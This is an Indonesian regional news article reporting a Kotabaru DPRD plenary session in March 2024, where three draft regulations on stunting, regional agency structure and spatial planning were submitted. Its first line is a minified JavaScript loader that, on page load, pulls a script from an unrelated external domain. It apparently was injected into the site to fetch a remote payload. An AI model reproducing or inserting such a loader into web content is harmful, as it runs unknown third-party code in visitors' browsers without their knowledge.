(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Ketua DPRD Kabupaten Kotabaru, Syairi Mukhlis memimpin rapat Paripurna DPRD Kotabaru, masa persidangan II rapat ke 4 tahun 2023/2024, Senin (18/3/2024).
Agenda rapat itu membahas tiga buah Raperda, yakni Raperda tentang pencengahan dan penanggulangan stunting, Raperda tentang pembentukan dan susunan perangkat daerah, Raperda tentang rencana tata ruang wilayah Kabupaten Kotabaru tahun 2024/2025.
Rapat paripurna juga dihadiri oleh Wakil Ketua I dan Wakil Ketua II DPRD Kotabaru, Sekretaris Daerah Kotabaru, Forkopimda, SKPD serta 19 anggota dewan.
Sekretaris Daerah Kotabaru, H Said Akhmad Assegaf yang membacakan sambutan bupati Kotabaru memaparkan tiga buah Raperda yang akan disampaikan untuk dibahas secara mekanisme yang telah ditetapkan.
“Raperda tentang pencengahan dan penanggulangan stunting, dalam rangka pencengahan dan penanggulangan stunting merupakan upaya melindungi segenap bangsa Indonesia, ekselerasi percepatan penurunan stunting di Kabupaten Kotabaru diperlukan peran serta seluruh pemangku kepentingan di daerah, masyarakat dan dunia usaha secara terpadu dan selaras sesuai dengan strategi nasional percepatan penurunan stunting,” papar Sekda.
Dia menambahkan, Raperda tentang pembentukan perangkat daerah perlu melakukan perubahan untuk meningkatkan pelayanan kepada masyarakat.
Selain itu, penyelenggaran Pemerintah Daerah yang efektif dan efesien dalam pelaksanaan pembangunan dan peningkatan kesejahteraan masyarakat di daerah serta optimalisasi untuk meningkatkan efektivitas kinerja perangkat daerah dalam memberikan pelayanan kepada masyarakat secara maksimal perlu melakukan perubahan atas susunan perangkat daerah.
Dia menatakan, Raperda tentang rencana tata ruang wilayah Kabupaten Kotabaru tahun 2024/2025.
“Untuk mengarahkan pembangunan di Kabupaten Kotabaru dengan memanfaatkan ruang wilayah secara berdaya guna, berhasil guna, serasi, selaras, seimbang, dan berkelanjutan dalam rangka meningkatkan kesejahteraan masyarakat dan pertahanan keamanan dalam suatu sistem perencanaan tata ruang dan dalam rangka pengendalian pemanfaatan ruang, maka perlu disusun secara rencana tata ruang wilayah,” tambah dia.
Hasil tiga buah Raperda tersebut diserahkan Sekretaris Daerah kepada Ketua DPRD dan selanjutnya diberikan kepada salah satu perwakilan anggota DPRD dari fraksi partai PDI-Perjuangan untuk dibahas bersama dan nanti ditetapkan menjadi Peraturan Daerah Kotabaru. (kanalkalimantan.com/muhammad)
Reporter: muhammad
Editor: Dhani
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.